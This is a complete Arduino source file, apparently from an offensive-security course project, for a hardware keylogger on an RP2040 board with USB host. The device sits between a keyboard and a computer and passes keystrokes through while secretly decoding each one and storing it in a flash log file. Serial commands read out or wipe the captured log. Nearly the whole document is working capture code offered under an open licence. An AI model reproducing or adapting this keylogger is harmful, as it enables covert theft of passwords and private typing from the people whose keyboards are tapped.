309 lines
8.5 KiB
Arduino
309 lines
8.5 KiB
Arduino
/******************************************************************************
|
|
* Project : Offensive Sicherheit - Keylogger
|
|
* File : <keylogger.ino>
|
|
*
|
|
* Description :
|
|
* ---------------------------------------------------------------------------
|
|
* This Project contains an implementation for a Adafruit RP2040 Feather with USB HOST to turn it into a Keylogger.
|
|
*
|
|
* Author : David Heunisch
|
|
* Created : 18.05.26
|
|
* Last Updated : 30.05.26
|
|
* Version : <1.0.0>
|
|
*
|
|
* Dependencies :
|
|
* - usbh_helper.h
|
|
* - usbh_helper.h
|
|
* - LittleFS.h
|
|
* - string.h
|
|
*
|
|
* Usage :
|
|
* ---------------------------------------------------------------------------
|
|
* Using Arduino IDE v2 it can be uploaded to an RP2040 with USB Host. Once installed MitM the Keyboard and start typing.
|
|
* The serial Commands: DUMP / CLEAR can be used to read and clear the file!
|
|
*
|
|
* Notes :
|
|
* ---------------------------------------------------------------------------
|
|
* Important Settings for Arduino IDE
|
|
* - Board Manager: Raspberry Pi Pico/PR2040/RP2350 by Earle F. Philhower, III (5.6.0)
|
|
* - Libs: Adafruit Neopixel (1.15.5) | Adafruit SPI Flash (5.1.1) | Adafruit TinyUSB Library (3.7.7) | MIDI Library (3.7.7) | PICO PIO USB (0.7.2) | SdFAT - Adafruit Fork (2.3.103)
|
|
* - Port: js do it right
|
|
* - CPU Speed: 120Hz / 240Hz or some other by 12 div number
|
|
* - Flash Size: give Little FS some space i did 3MB
|
|
* - USB Stack: Adafruit TinyUSB
|
|
*
|
|
* License :
|
|
* ---------------------------------------------------------------------------
|
|
* MIT License
|
|
*
|
|
* Copyright (c) 2026 David Heunisch
|
|
*
|
|
* Permission is hereby granted, free of charge, to any person obtaining a copy
|
|
* of this software and associated documentation files (the "Software"), to deal
|
|
* in the Software without restriction, including without limitation the rights
|
|
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
|
* copies of the Software, and to permit persons to whom the Software is
|
|
* furnished to do so, subject to the following conditions:
|
|
*
|
|
* The above copyright notice and this permission notice shall be included in all
|
|
* copies or substantial portions of the Software.
|
|
*
|
|
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
|
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
|
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
|
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
|
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
|
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
|
* SOFTWARE.
|
|
******************************************************************************/
|
|
|
|
#include "usbh_helper.h"
|
|
#include "key_map.h"
|
|
#include <LittleFS.h>
|
|
#include <string.h>
|
|
|
|
#if defined(ARDUINO_ARCH_RP2040)
|
|
#include "pico/stdlib.h"
|
|
#endif
|
|
|
|
uint8_t const desc_hid_report[] = {
|
|
TUD_HID_REPORT_DESC_KEYBOARD()
|
|
};
|
|
|
|
Adafruit_USBD_HID usb_hid(desc_hid_report, sizeof(desc_hid_report),
|
|
HID_ITF_PROTOCOL_KEYBOARD, 2, false);
|
|
|
|
bool fs_ok = false;
|
|
char serial_buf[32];
|
|
uint8_t serial_pos = 0;
|
|
|
|
// RAM buffer for keystrokes before writing to flash
|
|
char key_buffer[256];
|
|
uint16_t key_buf_pos = 0;
|
|
const uint16_t BUFFER_SIZE = 256;
|
|
|
|
uint8_t prev_keys[6] = {0, 0, 0, 0, 0, 0};
|
|
|
|
void flushBufferToFile() {
|
|
if (!fs_ok || key_buf_pos == 0) return;
|
|
|
|
File f = LittleFS.open("/keylog.txt", "a");
|
|
if (!f) {
|
|
key_buf_pos = 0;
|
|
return;
|
|
}
|
|
f.write((uint8_t*)key_buffer, key_buf_pos);
|
|
f.close();
|
|
key_buf_pos = 0;
|
|
}
|
|
|
|
void appendLog(const char* s) {
|
|
if (!fs_ok) return;
|
|
|
|
// Add key to RAM buffer
|
|
while (key_buf_pos < BUFFER_SIZE - 1) {
|
|
key_buffer[key_buf_pos++] = *s++;
|
|
if (*s == 0) break; // end of string
|
|
}
|
|
|
|
// Flush if buffer is nearly full
|
|
if (key_buf_pos >= BUFFER_SIZE - 10) {
|
|
flushBufferToFile();
|
|
}
|
|
}
|
|
|
|
void dumpLog() {
|
|
flushBufferToFile(); // Make sure buffer is written first
|
|
if (!fs_ok) {
|
|
Serial.println("LittleFS not mounted");
|
|
return;
|
|
}
|
|
File f = LittleFS.open("/keylog.txt", "r");
|
|
if (!f) {
|
|
Serial.println("Cannot open /keylog.txt");
|
|
return;
|
|
}
|
|
Serial.println("=== Key Log Start ===");
|
|
while (f.available()) {
|
|
Serial.write(f.read());
|
|
}
|
|
Serial.println();
|
|
Serial.println("=== End of Log ===");
|
|
f.close();
|
|
}
|
|
|
|
void handleSerial() {
|
|
while (Serial.available()) {
|
|
char c = Serial.read();
|
|
if (c == '\r' || c == '\n') {
|
|
serial_buf[serial_pos] = 0;
|
|
if (serial_pos > 0) {
|
|
if (!strcmp(serial_buf, "DUMP")) {
|
|
dumpLog();
|
|
} else if (!strcmp(serial_buf, "CLEAR")) {
|
|
flushBufferToFile();
|
|
if (fs_ok) {
|
|
LittleFS.remove("/keylog.txt");
|
|
File f = LittleFS.open("/keylog.txt", "w");
|
|
if (f) {
|
|
f.println("Key log started");
|
|
f.close();
|
|
}
|
|
Serial.println("Log cleared");
|
|
}
|
|
} else {
|
|
Serial.println("Commands: DUMP, CLEAR");
|
|
}
|
|
}
|
|
serial_pos = 0;
|
|
} else if (serial_pos < sizeof(serial_buf) - 1) {
|
|
serial_buf[serial_pos++] = c;
|
|
}
|
|
}
|
|
}
|
|
|
|
void forwardAndLog(hid_keyboard_report_t const* rpt) {
|
|
bool shift = (rpt->modifier & (KEYBOARD_MODIFIER_LEFTSHIFT | KEYBOARD_MODIFIER_RIGHTSHIFT)) != 0;
|
|
bool altGr = (rpt->modifier & KEYBOARD_MODIFIER_RIGHTALT) != 0;
|
|
|
|
for (uint8_t i = 0; i < 6; i++) {
|
|
uint8_t kc = rpt->keycode[i];
|
|
if (!kc) continue;
|
|
|
|
|
|
bool already_pressed = false;
|
|
for (uint8_t j = 0; j < 6; j++) {
|
|
if (prev_keys[j] == kc) {
|
|
already_pressed = true;
|
|
break;
|
|
}
|
|
}
|
|
if (already_pressed) continue;
|
|
|
|
const char* s = keycodeToAscii(kc, shift, altGr);
|
|
if (s) {
|
|
|
|
/*Debug Stuff*/
|
|
// Serial.print("Key: ");
|
|
// Serial.print(s);
|
|
// Serial.print(" (0x");
|
|
// if (kc < 0x10) Serial.print('0');
|
|
// Serial.print(kc, HEX);
|
|
// Serial.println(")");
|
|
|
|
appendLog(s);
|
|
}
|
|
}
|
|
|
|
|
|
for (uint8_t i = 0; i < 6; i++) {
|
|
prev_keys[i] = rpt->keycode[i];
|
|
}
|
|
|
|
|
|
while (!usb_hid.ready()) {
|
|
yield();
|
|
}
|
|
usb_hid.sendReport(0, rpt, sizeof(hid_keyboard_report_t));
|
|
}
|
|
|
|
void setup() {
|
|
Serial.begin(115200);
|
|
delay(200);
|
|
|
|
memset(prev_keys, 0, 6);
|
|
memset(key_buffer, 0, BUFFER_SIZE);
|
|
|
|
fs_ok = LittleFS.begin();
|
|
if (!fs_ok) {
|
|
Serial.println("LittleFS mount failed");
|
|
} else {
|
|
if (!LittleFS.exists("/keylog.txt")) {
|
|
File f = LittleFS.open("/keylog.txt", "w");
|
|
if (f) {
|
|
f.println("--- START OF LOG ---");
|
|
f.close();
|
|
}
|
|
}
|
|
Serial.println("LittleFS mounted");
|
|
}
|
|
|
|
usb_hid.begin();
|
|
|
|
#if defined(CFG_TUH_MAX3421) && CFG_TUH_MAX3421
|
|
USBHost.begin(1);
|
|
#endif
|
|
|
|
Serial.println("Ready. Type DUMP or CLEAR in Serial Monitor.");
|
|
}
|
|
|
|
#if defined(CFG_TUH_MAX3421) && CFG_TUH_MAX3421
|
|
void loop() {
|
|
USBHost.task();
|
|
handleSerial();
|
|
// Flush buffer every 2 seconds if not full
|
|
static unsigned long last_flush = 0;
|
|
if (millis() - last_flush > 2000) {
|
|
flushBufferToFile();
|
|
last_flush = millis();
|
|
}
|
|
}
|
|
#elif defined(ARDUINO_ARCH_RP2040)
|
|
void loop() {
|
|
handleSerial();
|
|
static unsigned long last_flush = 0;
|
|
if (millis() - last_flush > 2000) {
|
|
flushBufferToFile();
|
|
last_flush = millis();
|
|
}
|
|
}
|
|
|
|
void setup1() {
|
|
rp2040_configure_pio_usb();
|
|
USBHost.begin(1);
|
|
}
|
|
|
|
void loop1() {
|
|
USBHost.task();
|
|
}
|
|
#endif
|
|
|
|
extern "C" {
|
|
|
|
void tuh_hid_mount_cb(uint8_t dev_addr, uint8_t instance,
|
|
uint8_t const *desc_report, uint16_t desc_len) {
|
|
(void)desc_report;
|
|
(void)desc_len;
|
|
|
|
uint16_t vid, pid;
|
|
tuh_vid_pid_get(dev_addr, &vid, &pid);
|
|
|
|
Serial.printf("HID device address = %d, instance = %d mounted\r\n", dev_addr, instance);
|
|
Serial.printf("VID = %04x, PID = %04x\r\n", vid, pid);
|
|
|
|
if (tuh_hid_interface_protocol(dev_addr, instance) == HID_ITF_PROTOCOL_KEYBOARD) {
|
|
Serial.println("HID Keyboard");
|
|
if (!tuh_hid_receive_report(dev_addr, instance)) {
|
|
Serial.println("Error: cannot request first report");
|
|
}
|
|
}
|
|
}
|
|
|
|
void tuh_hid_umount_cb(uint8_t dev_addr, uint8_t instance) {
|
|
Serial.printf("HID device address = %d, instance = %d unmounted\r\n", dev_addr, instance);
|
|
}
|
|
|
|
void tuh_hid_report_received_cb(uint8_t dev_addr, uint8_t instance,
|
|
uint8_t const *report, uint16_t len) {
|
|
if (len == sizeof(hid_keyboard_report_t)) {
|
|
forwardAndLog((hid_keyboard_report_t const*)report);
|
|
} else {
|
|
Serial.printf("report len = %u, expected %u\r\n", len, (unsigned)sizeof(hid_keyboard_report_t));
|
|
}
|
|
|
|
if (!tuh_hid_receive_report(dev_addr, instance)) {
|
|
Serial.println("Error: cannot request next report");
|
|
}
|
|
}
|
|
|
|
} |